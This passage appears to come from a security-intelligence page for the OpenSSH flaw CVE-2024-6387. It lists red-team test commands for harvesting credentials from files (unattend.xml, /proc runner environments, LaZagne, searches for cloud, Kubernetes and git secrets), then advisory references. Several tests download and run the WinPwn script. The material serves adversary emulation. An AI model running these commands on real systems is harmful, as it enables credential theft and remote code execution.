type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (82)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-6387
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4312
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4340
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4389
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4469
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4474
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4479
access.redhat.com
GitHub CVE vendor-advisory x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:4484
access.redhat.com
GitHub CVE vdb-entry x_refsource_REDHAT
https://access.redhat.com/security/cve/CVE-2024-6387
bugzilla.redhat.com
GitHub CVE issue-tracking x_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2294604
santandersecurityresearch.github.io
GitHub CVE
https://santandersecurityresearch.github.io/blog/sshing_the_masses.html
openssh.com
GitHub CVE
https://www.openssh.com/txt/release-9.8
qualys.com
GitHub CVE
https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
seclists.org
NVD API Mailing List
http://seclists.org/fulldisclosure/2024/Jul/18
seclists.org
NVD API Mailing List
http://seclists.org/fulldisclosure/2024/Jul/19
seclists.org
NVD API Mailing List
http://seclists.org/fulldisclosure/2024/Jul/20
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/01/12
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/01/13
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/02/1
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/03/1
openwall.com
NVD API Exploit Mailing List
http://www.openwall.com/lists/oss-security/2024/07/03/11
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/03/2
openwall.com
NVD API Mailing List Patch
http://www.openwall.com/lists/oss-security/2024/07/03/3
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/03/4
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/03/5
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/04/1
openwall.com
NVD API Exploit Mailing List
http://www.openwall.com/lists/oss-security/2024/07/04/2
openwall.com
NVD API Exploit Mailing List
http://www.openwall.com/lists/oss-security/2024/07/08/2
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/08/3
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/09/2
openwall.com
NVD API Exploit Mailing List
http://www.openwall.com/lists/oss-security/2024/07/09/5
openwall.com
NVD API Exploit Mailing List
http://www.openwall.com/lists/oss-security/2024/07/10/1
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/10/2
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/10/3
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/10/4
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/10/6
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/11/1
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/11/3
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/23/4
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/23/6
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/28/2
openwall.com
NVD API Mailing List
http://www.openwall.com/lists/oss-security/2024/07/28/3
archlinux.org
NVD API Third Party Advisory
https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
arstechnica.com
NVD API Press/Media Coverage Third Party Advisory
https://arstechnica.com/security/2024/07/regresshion-vulnerability-in-openssh-gives-attackers-root-on-linux/
blog.qualys.com
NVD API Press/Media Coverage Third Party Advisory
https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
explore.alas.aws.amazon.com
NVD API Third Party Advisory
https://explore.alas.aws.amazon.com/CVE-2024-6387.html
forum.vmssoftware.com
NVD API Issue Tracking
https://forum.vmssoftware.com/viewtopic.php?f=8&t=9132
ftp.netbsd.org
NVD API Release Notes
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2024-002.txt.asc
github.com
NVD API Issue Tracking
https://github.com/AlmaLinux/updates/issues/629
github.com
NVD API Issue Tracking
https://github.com/Azure/AKS/issues/4379
github.com
NVD API Issue Tracking
https://github.com/PowerShell/Win32-OpenSSH/discussions/2248
github.com
NVD API Issue Tracking
https://github.com/PowerShell/Win32-OpenSSH/issues/2249
github.com
NVD API Issue Tracking
https://github.com/microsoft/azurelinux/issues/9555
github.com
NVD API Patch
https://github.com/openela-main/openssh/commit/e1f438970e5a337a17070a637c1b9e19697cad09
github.com
NVD API Issue Tracking
https://github.com/oracle/oracle-linux/issues/149
github.com
NVD API Issue Tracking
https://github.com/rapier1/hpn-ssh/issues/87
github.com
NVD API Third Party Advisory
https://github.com/zgzhang/cve-2024-6387-poc
lists.almalinux.org
NVD API Third Party Advisory
https://lists.almalinux.org/archives/list/[email protected]/thread/23BF5BMGFVEVUI2WNVAGMLKT557EU7VY/
lists.mindrot.org
NVD API Mailing List Release Notes
https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
lists.mindrot.org
NVD API Mailing List Patch
https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
news.ycombinator.com
NVD API Issue Tracking Patch
https://news.ycombinator.com/item?id=40843778
packetstorm.news
NVD API Broken Link
https://packetstorm.news/files/id/190587/
psirt.global.sonicwall.com
NVD API Third Party Advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
security-tracker.debian.org
NVD API Third Party Advisory
https://security-tracker.debian.org/tracker/CVE-2024-6387
security.netapp.com
NVD API Third Party Advisory
https://security.netapp.com/advisory/ntap-20240701-0001/
sig-security.rocky.page
NVD API Third Party Advisory
https://sig-security.rocky.page/issues/CVE-2024-6387/
stackdiary.com
NVD API Press/Media Coverage Third Party Advisory
https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
support.apple.com
NVD API Third Party Advisory
https://support.apple.com/kb/HT214118
support.apple.com
NVD API Third Party Advisory
https://support.apple.com/kb/HT214119
support.apple.com
NVD API Third Party Advisory
https://support.apple.com/kb/HT214120
ubuntu.com
NVD API Third Party Advisory
https://ubuntu.com/security/CVE-2024-6387
ubuntu.com
NVD API Third Party Advisory
https://ubuntu.com/security/notices/USN-6859-1
akamai.com
NVD API Third Party Advisory
https://www.akamai.com/blog/security-research/2024-openssh-vulnerability-regression-what-to-know-and-do
arista.com
NVD API Third Party Advisory
https://www.arista.com/en/support/advisories-notices/security-advisory/19904-security-advisory-0100
exploit-db.com
NVD API Exploit
https://www.exploit-db.com/exploits/52269
freebsd.org
NVD API Third Party Advisory
https://www.freebsd.org/security/advisories/FreeBSD-SA-24:04.openssh.asc
splunk.com
NVD API Third Party Advisory
https://www.splunk.com/en_us/blog/security/cve-2024-6387-regresshion-vulnerability.html
suse.com
NVD API Third Party Advisory
https://www.suse.com/security/cve/CVE-2024-6387.html
theregister.com
NVD API Press/Media Coverage Third Party Advisory
https://www.theregister.com/2024/07/01/regresshion_openssh/
vicarius.io
NVD API Exploit Third Party Advisory
https://www.vicarius.io/vsociety/posts/regresshion-an-openssh-regression-error-cve-2024-6387
cert-portal.siemens.com
NVD API
https://cert-portal.siemens.com/productcert/html/ssa-082556.html
cert-portal.siemens.com
NVD API
https://cert-portal.siemens.com/productcert/html/ssa-446545.html